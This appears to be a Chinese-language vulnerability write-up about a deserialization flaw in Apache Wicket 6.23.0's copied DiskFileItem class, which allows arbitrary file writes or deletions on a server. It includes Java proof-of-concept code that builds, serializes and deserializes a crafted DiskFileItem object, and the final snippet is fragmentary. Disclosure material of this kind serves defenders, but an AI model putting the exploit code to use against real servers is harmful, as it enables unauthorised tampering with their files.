Apacge Wicket简介:
Wicket是一个Java 语言的Web开发框架,与Struts,WebWork,Tapestry 相类似。其特点在于对Html和代码进行了有效的分离(有利于程序员和美工的合作),基于规则的配置(减少了XML 等配置文件的使用),学习曲线较低(开发方式与C/S相似),更加易于调试(错误类型比较少,而且容易定位)。
摘要:
Apache Wichet6.23.0项目的反序列化漏洞,这个漏洞没有Common Collection library危害大但是找到它是非常有趣的。这个漏洞允许写入远程文件到服务器本地文件中或删除服务器上面的任意文件。这个漏洞跟CVE-2013-2186相似。Apacge Wichet开发者复制粘贴了 Common Upload组件中"DiskFileItem" 类。
要演示这种攻击,需要服务器反序列化这个对象(例如通过RMI端口),你需要设置在服务器可以写可读的位置(例如共享目录或Web服务器根目录下的目录)。
漏洞描述:
在Apache Wicket的项目的6.23.0版本的“DiskFileItem”类反序列化过程中允许任意的远程文件写入到服务器的本地文件。
首先攻击者序列化一个DiskFileItem对象
package com.serialise;
import org.apache.wicket.util.file.FileCleaner;
import org.apache.wicket.util.io.DeferredFileOutputStream;
import org.apache.wicket.util.upload.DiskFileItem;
import java.io.*;
import java.net.URI;
/**
* Created by H4ck0rInj on 2016/9/27.
*/
public class Test{
public static void main(String argv[]){
try {
String contentType = "UTF-8";
boolean isFormField = true;
String fileName = "test.txt";
int sizeThreshold = 4;
File repository = new File(new URI("file:///D:/HACK/"));
FileCleaner fileUploadCleaner = new FileCleaner();
DiskFileItem dfi =new DiskFileItem(fileName,contentType,isFormField,fileName,sizeThreshold,repository,fileUploadCleaner);
DeferredFileOutputStream os = (DeferredFileOutputStream) dfi.getOutputStream();
System.out.println(os.isThresholdExceeded());
byte[] data = dfi.get();
os.write(fileName.getBytes());
FileOutputStream fos = new FileOutputStream("D:\\fileitem.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(dfi);
}catch (Exception e) {
}
}
}
然后攻击者将修改序列化对象。要修改的是要在红圈的地方将被复制的内容和内容要被复制的目录。它们都是Java File对象,所以他们能够支持URI参数。
这个Poc我们修改了原始的path和respository变量的指向。
System.out.println("Start");
FileInputStream fis = new FileInputStream("D:\\fileitem.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
DiskFileItem nameFromDisk = (DiskFileItem)ois.readObject();
System.out.println("End");
fos.close();